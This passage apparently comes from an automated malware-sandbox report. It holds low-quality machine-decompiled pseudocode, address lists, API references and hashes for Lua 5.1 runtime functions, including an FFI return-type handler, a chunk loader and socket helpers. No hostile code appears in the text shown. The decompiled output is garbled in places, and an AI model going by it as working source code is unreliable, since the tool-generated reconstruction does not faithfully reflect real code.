									__ebx = __ebx + 8;
									goto L71;
							}
							L71:
							_t269 = _t269 + 1;
						} while (_t269 <  *((intOrPtr*)(_t273 - 0x44)));
						goto L72;
					}
					L38:
					switch( *((intOrPtr*)(_t225 * 4 +  &M005E28C4))) {
						case 0:
							L40:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__edx = __ebp - 0x20;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __ebp - 0x20, __edi, __fp0, __eax,  *(__eax + 4), __ebp - 0x20, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 1:
							L43:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t138 = __ebp - 0x20; // -28
							__edx = _t138;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, _t138, __edi, __fp0, __eax,  *(__eax + 4), _t138, __edi);
							__edx =  *(__ebp - 0x20) & 0x0000ffff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 2:
							L42:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t135 = __ebp - 0x20; // -28
							__edx = _t135;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi); // executed
							asm("fild dword [ebp-0x20]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 3:
							L48:
							_t145 = __ebp - 0x20; // -28
							__eax = _t145;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t145, __edi);
							asm("fild dword [ebp-0x20]");
							__edx =  *(__ebp - 0x20);
							goto L45;
						case 4:
							L41:
							_t130 = __ebp - 0x54; // -80
							__eax = _t130;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t130, __edi);
							asm("fild dword [ebp-0x54]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 5:
							L44:
							_t141 = __ebp - 0x58; // -84
							__eax = _t141;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t141, __edi);
							asm("fild dword [ebp-0x58]");
							__edx =  *(__ebp - 0x58);
							L45:
							if(__edx < 0) {
								__fp0 = __fp0 +  *0x5e5878;
							}
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 6:
							L39:
							E005E4130(_t244, _t259, _t268, _t287,  *((intOrPtr*)(_t273 - 0x14)) + 0x10,  *((intOrPtr*)( *((intOrPtr*)(_t273 - 0x14)) + 4)), 0, _t268);
							_push(_t271);
							L005E3F74();
							_t277 = _t276 + 0x14;
							goto L62;
						case 7:
							L51:
							_t159 = __ebp - 0x50; // -76
							__eax = _t159;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t159, __edi);
							__fp0 =  *(__ebp - 0x50);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 8:
							L52:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t165 = __ebp - 0x60; // -92
							__edx = _t165;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__fp0 =  *(__ebp - 0x60);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 9:
							L49:
							_t149 = __ebp - 0x20; // -28
							__eax = _t149;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t149, __edi);
							__edx =  *(__ebp - 0x20) & 0x000000ff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xa:
							L50:
							_t154 = __ebp - 0x20; // -28
							__eax = _t154;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t154, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xb:
							L53:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t169 = __ebp - 0x3c; // -56
							__edx = _t169;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								goto L55;
							}
							L54:
							_push(__eax);
							_push(__esi);
							L005E3EF0();
							__esp = __esp + 8;
							goto L62;
						case 0xc:
							L56:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t173 = __ebp - 0x3c; // -56
							__edx = _t173;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								L55:
								_push(__esi);
								L005E3F74();
								__esp = __esp + 4;
								goto L62;
							}
							L57:
							_push(__eax);
							_push(__esi);
							L005E3F7A();
							__esp = __esp + 8;
							goto L62;
					}
				}
			}

0x005e21da
0x005e21da
0x005e21da
0x005e21da
0x005e21da
0x005e21df
0x005e21e4
0x005e21e7
0x005e21e9
0x005e21ee
0x005e21f1
0x005e21f6
0x005e21f9
0x005e24ec
0x005e24ec
0x005e24ec
0x005e24f0
0x005e24f3
0x005e24f3
0x005e24f7
0x00000000
0x00000000
0x005e2071
0x005e2071
0x005e207a
0x005e2080
0x005e24d0
0x005e24d0
0x005e24d5
0x005e24d7
0x005e24d7
0x005e24dc
0x005e24dd
0x005e24de
0x005e24e3
0x005e24e4
0x005e24e9
0x00000000
0x005e24e9
0x005e2086
0x005e2086
0x00000000
0x005e208d
0x005e2092
0x005e2097
0x005e209a
0x005e209b
0x005e209c
0x005e20a1
0x005e20a4
0x005e20a9
0x005e20ac
0x005e20af
0x005e20b2
0x00000000
0x00000000
0x005e2112
0x005e2117
0x005e211c
0x005e211f
0x005e2120
0x005e2121
0x005e2126
0x005e2129
0x005e212d
0x005e2130
0x005e2133
0x005e2138
0x005e213b
0x005e213e
0x005e2141
0x005e2148
0x005e214b
0x005e214e
0x00000000
0x00000000
0x005e20e6
0x005e20e6
0x005e20eb
0x005e20f0
0x005e20f3
0x005e20f4
0x005e20f5
0x005e20fa
0x005e20fd
0x005e2102
0x005e2105
0x005e2108
0x005e210a
0x00000000
0x00000000
0x005e2198
0x005e219d
0x005e21a2
0x005e21a5
0x005e21a6
0x005e21a7
0x005e21ac
0x005e21af
0x005e21b3
0x005e21b6
0x005e21b9
0x005e21be
0x005e21c1
0x005e21c4
0x005e21c7
0x005e21ca
0x005e21cd
0x005e21cf
0x005e21d2
0x00000000
0x00000000
0x005e20ba
0x005e20ba
0x005e20bf
0x005e20c4
0x005e20c7
0x005e20c8
0x005e20c9
0x005e20ce
0x005e20d1
0x005e20d6
0x005e20d9
0x005e20db
0x005e20de
0x00000000
0x00000000
0x005e2156
0x005e215b
0x005e2160
0x005e2163
0x005e2164
0x005e2165
0x005e216a
0x005e216d
0x005e2171
0x005e2174
0x005e2177
0x005e217c
0x005e217f
0x005e2182
0x005e2185
0x005e2188
0x005e218b
0x005e218d
0x005e2190
0x00000000
0x00000000
0x00000000
0x00000000
0x005e2228
0x005e222d
0x005e2232
0x005e2235
0x005e2236
0x005e2237
0x005e223c
0x005e223f
0x005e2242
0x005e2244
0x005e2247
0x00000000
0x00000000
0x005e224f
0x005e2254
0x005e2259
0x005e225c
0x005e225d
0x005e225e
0x005e2263
0x005e2266
0x005e2269
0x005e226b
0x005e226e
0x00000000
0x00000000
0x00000000
0x00000000
0x005e2201
0x005e2201
0x005e2206
0x005e220b
0x005e220e
0x005e220f
0x005e2210
0x005e2215
0x005e2218
0x005e221b
0x005e221d
0x005e2220
0x00000000
0x00000000
0x005e2276
0x005e2276
0x005e227b
0x005e2280
0x005e2283
0x005e2284
0x005e2285
0x005e228a
0x005e228f
0x005e2290
0x005e2291
0x005e22cd
0x005e22d2
0x005e22d7
0x005e22eb
0x005e22ed
0x005e22ee
0x005e22ef
0x005e22f4
0x005e22f7
0x005e22fa
0x005e22fc
0x005e22fe
0x005e2301
0x005e22d9
0x005e22d9
0x005e22dc
0x005e22df
0x005e22e1
0x005e22e3
0x005e22e3
0x005e2293
0x005e2293
0x005e2298
0x005e229d
0x005e22b1
0x005e22b2
0x005e22b3
0x005e22b8
0x005e22bb
0x005e22bd
0x005e22bf
0x005e22c2
0x005e22c5
0x005e229f
0x005e229f
0x005e22a2
0x005e22a4
0x005e22a6
0x005e22a9
0x005e22a9
0x005e229d
0x00000000
0x00000000
0x005e237e
0x005e237e
0x005e2383
0x005e2388
0x005e238b
0x005e238c
0x005e238d
0x005e2392
0x005e2397
0x005e23a9
0x005e23aa
0x005e23ab
0x005e23b0
0x005e23b5
0x005e23d3
0x005e23d4
0x005e23d5
0x005e23da
0x005e23dd
0x005e23df
0x005e23e2
0x005e23e5
0x005e23b7
0x005e23b7
0x005e23b9
0x005e23ba
0x005e23bb
0x005e23c0
0x005e23c3
0x005e23c5
0x005e23c8
0x005e23cb
0x005e23cb
0x005e2399
0x005e2399
0x005e239c
0x005e239e
0x005e23a1
0x005e23a1
0x00000000
0x00000000
0x005e23ed
0x005e23ed
0x005e23ee
0x005e23ef
0x005e23f4
0x005e23f7
0x005e23fc
0x005e23ff
0x005e2406
0x005e240b
0x005e240e
0x005e2411
0x005e2413
0x005e2415
0x005e2418
0x005e241b
0x00000000
0x00000000
0x005e2423
0x005e2423
0x005e2424
0x005e2425
0x005e242a
0x005e242d
0x005e2431
0x005e2434
0x005e2439
0x005e243c
0x005e243f
0x005e2442
0x005e2445
0x005e2448
0x005e244a
0x005e244f
0x005e2452
0x005e2457
0x005e245a
0x005e245d
0x005e245f
0x005e2461
0x005e2464
0x005e2467
0x00000000
0x00000000
0x005e246f
0x005e246f
0x005e2470
0x005e2471
0x005e2476
0x005e2479
0x005e247e
0x005e2481
0x005e2488
0x005e248d
0x005e2490
0x005e2493
0x005e2495
0x005e2497
0x005e249a
0x005e249d
0x00000000
0x00000000
0x005e24a2
0x005e24a2
0x005e24a3
0x005e24a4
0x005e24a9
0x005e24ac
0x005e24ae
0x005e24b6
0x005e24bb
0x005e24be
0x005e24c1
0x005e24c3
0x005e24c5
0x005e24c8
0x005e24cb
0x00000000
0x00000000
0x005e2309
0x005e2309
0x005e230e
0x005e2313
0x005e231b
0x005e2325
0x005e233e
0x005e2348
0x005e235d
0x005e2362
0x005e2363
0x005e2364
0x005e2369
0x005e236c
0x005e236f
0x005e2372
0x005e2374
0x005e2376
0x005e234a
0x005e234a
0x005e234d
0x005e2350
0x005e2353
0x005e2355
0x005e2355
0x005e2327
0x005e2327
0x005e2329
0x005e232c
0x005e232f
0x005e2331
0x005e2331
0x00000000
0x00000000
0x005e2086
0x005e24fd
0x005e24fd
0x005e2500
0x005e2507
0x005e250d
0x005e2753
0x005e2753
0x005e2758
0x005e275a
0x005e275a
0x005e275f
0x005e2760
0x005e2765
0x005e2766
0x005e276b
0x005e276b
0x005e276e
0x005e278a
0x005e2790
0x005e2795
0x005e279d
0x005e27a0
0x005e2843
0x005e2858
0x005e2859
0x005e285a
0x005e2868
0x00000000
0x00000000
0x00000000
0x005e27a6
0x005e27a6
0x005e27af
0x005e27b5
0x00000000
0x00000000
0x005e27bb
0x005e27bb
0x00000000
0x005e27c2
0x005e27c5
0x005e27c7
0x005e27ca
0x005e27cd
0x005e27ce
0x005e27d3
0x005e27d6
0x00000000
0x00000000
0x005e27dc
0x005e27dc
0x005e27df
0x005e27e1
0x005e27e5
0x005e27e7
0x005e27e7
0x005e27ed
0x005e27f0
0x005e27f3
0x005e27f4
0x005e27f9
0x005e27fc
0x00000000
0x00000000
0x005e2818
0x005e2818
0x005e281b
0x005e281e
0x005e2821
0x005e2824
0x005e2827
0x005e282a
0x005e282b
0x005e2830
0x005e2833
0x00000000
0x00000000
0x005e2802
0x005e2802
0x005e2804
0x005e2807
0x005e280a
0x005e280b
0x005e2810
0x005e2813
0x00000000
0x00000000
0x005e2837
0x005e2837
0x005e283a
0x00000000
0x005e27a6
0x005e2513
0x005e2513
0x00000000
0x005e253b
0x005e253b
0x005e253e
0x005e2542
0x005e2547
0x005e254b
0x005e2550
0x005e2554
0x005e2557
0x005e255a
0x005e255d
0x005e2560
0x005e2561
0x00000000
0x00000000
0x005e25bd
0x005e25bd
0x005e25c0
0x005e25c4
0x005e25c4
0x005e25c9
0x005e25cd
0x005e25d2
0x005e25d6
0x005e25d9
0x005e25dc
0x005e25df
0x005e25e2
0x005e25e3
0x00000000
0x00000000
0x005e2594
0x005e2594
0x005e2597
0x005e259b
0x005e259b
0x005e25a0
0x005e25a4
0x005e25a9
0x005e25ac
0x005e25af
0x005e25b2
0x005e25b3
0x00000000
0x00000000
0x005e2623
0x005e2624
0x005e2624
0x005e2628
0x005e262b
0x005e262f
0x005e2633
0x005e2638
0x005e263b
0x00000000
0x00000000
0x005e256b
0x005e256c
0x005e256c
0x005e2570
0x005e2573
0x005e2577
0x005e257b
0x005e2580
0x005e2583
0x005e2586
0x005e2589
0x005e258a
0x00000000
0x00000000
0x005e25ed
0x005e25ee
0x005e25ee
0x005e25f2
0x005e25f5
0x005e25f9
0x005e25fd
0x005e2602
0x005e2605
0x005e2608
0x005e260a
0x005e260c
0x005e260c
0x005e2612
0x005e2615
0x005e2618
0x005e2619
0x00000000
0x00000000
0x005e251a
0x005e2528
0x005e252d
0x005e252e
0x005e2533
0x00000000
0x00000000
0x005e26a0
0x005e26a1
0x005e26a1
0x005e26a5
0x005e26a8
0x005e26ac
0x005e26b0
0x005e26b5
0x005e26b8
0x005e26bb
0x005e26be
0x005e26bf
0x00000000
0x00000000
0x005e26c9
0x005e26c9
0x005e26cc
0x005e26d0
0x005e26d0
0x005e26d5
0x005e26d9
0x005e26de
0x005e26e1
0x005e26e4
0x005e26e7
0x005e26e8
0x00000000
0x00000000
0x005e2640
0x005e2641
0x005e2641
0x005e2645
0x005e2648
0x005e264c
0x005e2650
0x005e2655
0x005e2659
0x005e265c
0x005e265f
0x005e2662
0x005e2665
0x005e2666
0x00000000
0x00000000
0x005e2670
0x005e2671
0x005e2671
0x005e2675
0x005e2678
0x005e267c
0x005e2680
0x005e2685
0x005e2689
0x005e268c
0x005e268f
0x005e2692
0x005e2695
0x005e2696
0x00000000
0x00000000
0x005e26f2
0x005e26f2
0x005e26f5
0x005e26f9
0x005e26f9
0x005e2702
0x005e2707
0x005e270f
0x00000000
0x00000000
0x005e2711
0x005e2711
0x005e2712
0x005e2713
0x005e2718
0x00000000
0x00000000
0x005e2728
0x005e2728
0x005e272b
0x005e272f
0x005e272f
0x005e2738
0x005e273d
0x005e2745
0x005e271d
0x005e271d
0x005e271e
0x005e2723
0x00000000
0x005e2723
0x005e2747
0x005e2747
0x005e2748
0x005e2749
0x005e274e
0x00000000
0x00000000
0x005e2513

APIs

lua_tointeger.LUA5.1 ref: 005E21E9
lua_pushnil.LUA5.1(?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E252E
lua_pushnumber.LUA5.1(?,?,?), ref: 005E2561
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?), ref: 005E258A
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?), ref: 005E25B3
lua_pushnumber.LUA5.1(?,?,?,?,?), ref: 005E25E3
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?), ref: 005E2619
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2666
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2696
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E26BF
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E26E8
lua_pushstring.LUA5.1(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2713
lua_pushnil.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E271E
lua_pushlightuserdata.LUA5.1(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2749
luaL_error.LUA5.1(?,alien: unknown return type (function %s),?), ref: 005E2766
lua_pushnumber.LUA5.1(?), ref: 005E27CE
lua_pushnumber.LUA5.1(?), ref: 005E27F4
lua_pushnumber.LUA5.1(?), ref: 005E280B
lua_pushnumber.LUA5.1(?), ref: 005E282B

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnumber.$lua_pushnil.$L_error.lua_pushlightuserdata.lua_pushstring.lua_tointeger.
String ID:
API String ID: 346420277-0
Opcode ID: ae4df5b70ef49842919cc346ae210bfc33faf438ad155fa253d202972446f9c0
Instruction ID: 18d34910163f1e43b394f9948159930b13964e52bb9c26af4c0933a4183cfa11
Opcode Fuzzy Hash: ae4df5b70ef49842919cc346ae210bfc33faf438ad155fa253d202972446f9c0
Instruction Fuzzy Hash: 6EB1C5B5D041499BCB08EB95DD89CEEBFB8FF89300F148448F481B720ADA399A15CB75

Uniqueness

Uniqueness Score: -1.00%

Function 004012F0, Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E004012F0(intOrPtr* __edx, void* __esi, intOrPtr _a4) {
				intOrPtr* _t3;
				char* _t4;
				void* _t7;
				void* _t9;
				intOrPtr* _t10;
				intOrPtr _t12;
				void* _t15;
				char* _t17;
				void* _t18;
				void* _t19;
				void* _t22;
				void* _t23;
				void* _t27;

				_t18 = __esi;
				_t3 = __edx;
				_t15 = __edx + 1;
				do {
					_t12 =  *_t3;
					_t3 = _t3 + 1;
				} while (_t12 != 0);
				_push(_a4);
				_t4 = _t3 - _t15;
				_push(_t4);
				_push(__edx);
				_push(__esi);
				L00401F1E();
				_t23 = _t22 + 0x10;
				if(_t4 != 0) {
					L5:
					_push(0xffffffff);
					_push(_t18);
					L00401F4E();
					if(_t4 != 0) {
						_push(0);
						_push(0xffffffff);
						_push(_t18);
						L00401F36();
						if(_t4 == 0) {
							_t4 = "(error object is not a string)";
						}
						E00401060(_t4);
						_push(0xfffffffe);
						_push(_t18);
						L00401F0C();
					}
					return 1;
				} else {
					L00401F00();
					_t17 = _t4;
					L00401F5A();
					L00401F06();
					_t10 = __imp__signal;
					_t7 =  *_t10(2, E00401030, __esi, _t17, __esi, E004010B0, 0, __esi, _t19, _t9); // executed
					L00401F60();
					_t4 =  *_t10(2, 0, __esi, 0, 0, _t17);
					_push(_t17);
					_push(__esi);
					L00401F7E();
					_t27 = _t23 + 0x40;
					if(_t7 == 0) {
						return 0;
					} else {
						_push(0);
						_push(2);
						_push(__esi);
						L00401ED6();
						_t23 = _t27 + 0xc;
						goto L5;
					}
				}
			}

0x004012f0
0x004012f0
0x004012f3
0x004012f6
0x004012f6
0x004012f8
0x004012fb
0x00401303
0x00401304
0x00401306
0x00401307
0x00401308
0x00401309
0x0040130e
0x00401313
0x00401372
0x00401372
0x00401374
0x0040137a
0x00401384
0x00401386
0x00401388
0x0040138a
0x0040138b
0x00401395
0x00401397
0x00401397
0x004013a2
0x004013a7
0x004013a9
0x004013aa
0x004013af
0x004013b5
0x00401315
0x00401318
0x00401325
0x00401327
0x0040132e
0x00401333
0x00401340
0x00401348
0x00401353
0x00401355
0x00401356
0x00401357
0x0040135c
0x00401363
0x004013b9
0x00401365
0x00401365
0x00401367
0x00401369
0x0040136a
0x0040136f
0x00000000
0x0040136f
0x00401363

APIs

luaL_loadbuffer.LUA5.1(?,?,?,?), ref: 00401309
lua_gettop.LUA5.1 ref: 00401318
lua_pushcclosure.LUA5.1(?,Function_000010B0,00000000), ref: 00401327
lua_insert.LUA5.1(?,00000000,?,Function_000010B0,00000000), ref: 0040132E
signal.MSVCR80 ref: 00401340
lua_pcall.LUA5.1(?,00000000,00000000,00000000,?,00000000,?,Function_000010B0,00000000), ref: 00401348
signal.MSVCR80 ref: 00401353
lua_remove.LUA5.1(?,00000000,?,00000000,00000000,00000000,?,00000000,?,Function_000010B0,00000000), ref: 00401357
lua_gc.LUA5.1(?,00000002,00000000), ref: 0040136A
lua_type.LUA5.1(?,000000FF), ref: 0040137A
lua_tolstring.LUA5.1(?,000000FF,00000000), ref: 0040138B
lua_settop.LUA5.1(?,000000FE,00000000), ref: 004013AA

Strings

(error object is not a string), xrefs: 00401397, 0040139C

Memory Dump Source

Source File: 00000002.00000002.469050412.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.469008352.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469103768.0000000000403000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469156229.0000000000405000.00000002.00020000.sdmp Download File

Similarity

API ID: signal$L_loadbuffer.lua_gc.lua_gettop.lua_insert.lua_pcall.lua_pushcclosure.lua_remove.lua_settop.lua_tolstring.lua_type.
String ID: (error object is not a string)
API String ID: 3939660861-1990977736
Opcode ID: 54b58262517779eaa96b8bba3cc013da6f175bc61c070a80f39300eb8bc17fcb
Instruction ID: 5bf7bef86c5210915bf19a903821d4090590f29a4a6f837a2ce0cb58567de200
Opcode Fuzzy Hash: 54b58262517779eaa96b8bba3cc013da6f175bc61c070a80f39300eb8bc17fcb
Instruction Fuzzy Hash: CD11947274521136E62136665C07F6B224C8F82754F24027AFE14B62E6EA7DA90141AE

Uniqueness

Uniqueness Score: -1.00%

Function 100100F0, Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

lua_gettop.LUA5.1(?), ref: 100100F9
lua_getfield.LUA5.1(?,FFFFD8EE,tostring,?), ref: 1001010F

Part of subcall function 10001B90: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001BBA

lua_pushvalue.LUA5.1(?,000000FF), ref: 10010129
lua_pushvalue.LUA5.1(?,00000001,?,000000FF), ref: 10010130
lua_call.LUA5.1(?,00000001,00000001,?,00000001,?,000000FF), ref: 1001013A
lua_tolstring.LUA5.1(?,000000FF,00000000,?,00000001,00000001,?,00000001,?,000000FF), ref: 10010144
fputs.MSVCRT ref: 10010165
fputs.MSVCRT ref: 10010175
lua_settop.LUA5.1(?,000000FE), ref: 1001017A
fputs.MSVCRT ref: 1001019A
luaL_error.LUA5.1(?,'tostring' must return a string to 'print'), ref: 100101AC

Strings

tostring, xrefs: 100100FE
'tostring' must return a string to 'print', xrefs: 100101A6

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: fputs$lua_pushvalue.$L_error.S_newlstr.lua_call.lua_getfield.lua_gettop.lua_settop.lua_tolstring.
String ID: 'tostring' must return a string to 'print'$tostring
API String ID: 3046415957-3217052939
Opcode ID: cec5833d79a9e178845e19b519ff49cddf9440460984a6db986b1948579debb7
Instruction ID: 16c06cb4f708b0670bf462c8e11ee8e788ecbbd34562d06277b657a50dbcfedb
Opcode Fuzzy Hash: cec5833d79a9e178845e19b519ff49cddf9440460984a6db986b1948579debb7
Instruction Fuzzy Hash: 0B110D3570122477F601D369ACC2FEF3299DFC92A5F140625F654662C2D6B6FA8102AD

Uniqueness

Uniqueness Score: -1.00%

Function 005915C0, Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 47
networkCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E005915C0(long long __fp0, signed int* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v30;
				signed int _t10;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;

				_t20 =  &_v20;
				_push(_t20);
				_t10 =  *_a8;
				_push( &_v16);
				_push(_t10);
				_v20 = 0x10;
				L00594A28(); // executed
				if(_t10 >= 0) {
					_push(_v24);
					L00594A10();
					_t18 = _v12;
					_push(_t10);
					_push(_t18);
					L00594AD0();
					_push(_v30);
					L00594A1C();
					_v16 = _t10 & 0x0000ffff;
					asm("fild dword [esp+0x24]");
					 *((long long*)(_t20 + 8 - 8)) = __fp0;
					_push(_t18);
					L00594B5A();
					return 2;
				} else {
					_t19 = _v8;
					_push(_t19);
					L00594B4E();
					_push("getsockname failed");
					_push(_t19);
					L00594AD0();
					return 2;
				}
			}

0x005915c0
0x005915cc
0x005915cd
0x005915d3
0x005915d4
0x005915d5
0x005915dd
0x005915e4
0x0059160c
0x0059160d
0x00591612
0x00591616
0x00591617
0x00591618
0x00591624
0x00591625
0x00591632
0x00591636
0x0059163a
0x0059163d
0x0059163e
0x0059164f
0x005915e6
0x005915e6
0x005915ea
0x005915eb
0x005915f0
0x005915f5
0x005915f6
0x00591607
0x00591607

APIs

getsockname.WSOCK32 ref: 005915DD
lua_pushnil.LUA5.1(?), ref: 005915EB
lua_pushstring.LUA5.1(?,getsockname failed,?), ref: 005915F6
inet_ntoa.WSOCK32(?), ref: 0059160D
lua_pushstring.LUA5.1(?,00000000,?), ref: 00591618
htons.WSOCK32(?), ref: 00591625
lua_pushnumber.LUA5.1(?), ref: 0059163E

Strings

getsockname failed, xrefs: 005915F0

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushstring.$getsocknamehtonsinet_ntoalua_pushnil.lua_pushnumber.
String ID: getsockname failed
API String ID: 1595534711-589798893
Opcode ID: 5b9492db3fdc830cc1ef267b763c4e714d4bd12f513bcacbae5c79c00e8b077a
Instruction ID: d65d549002c4f14b2d753ed9258c182116562732df367e3613d03466e4638f84
Opcode Fuzzy Hash: 5b9492db3fdc830cc1ef267b763c4e714d4bd12f513bcacbae5c79c00e8b077a
Instruction Fuzzy Hash: 9A0184B18086136BCA00FB18D84AE5F7B99BFC4314F444968F48457201E734DD1A8BAB

Uniqueness

Uniqueness Score: -1.00%

Function 00592C40, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E00592C40(intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				intOrPtr _v16;
				intOrPtr _t9;
				intOrPtr _t18;

				_push(_a24);
				_t9 = _a12;
				_push(_a20);
				_push(_a16);
				_push(_t9);
				_push( *_a8); // executed
				L00594A3A(); // executed
				if(_t9 >= 0) {
					_push(0x3ff00000);
					_push(0);
					_push(_v16);
					L00594B5A();
					return 1;
				} else {
					_t18 = _v16;
					_push(_t18);
					L00594B4E();
					_push("setsockopt failed");
					_push(_t18);
					L00594AD0();
					return 2;
				}
			}

0x00592c4c
0x00592c4d
0x00592c51
0x00592c56
0x00592c57
0x00592c5a
0x00592c5b
0x00592c62
0x00592c88
0x00592c8d
0x00592c8f
0x00592c90
0x00592c9d
0x00592c64
0x00592c65
0x00592c69
0x00592c6a
0x00592c6f
0x00592c74
0x00592c75
0x00592c83
0x00592c83

APIs

#21.WSOCK32(?,?,?,?,?,00592CCD,?,?,?,?,?,00000004,?,00000003,?,005928D6), ref: 00592C5B
lua_pushnil.LUA5.1(?,?,?,?,?,?,?,00592CCD,?,?,?,?,?,00000004,?,00000003), ref: 00592C6A
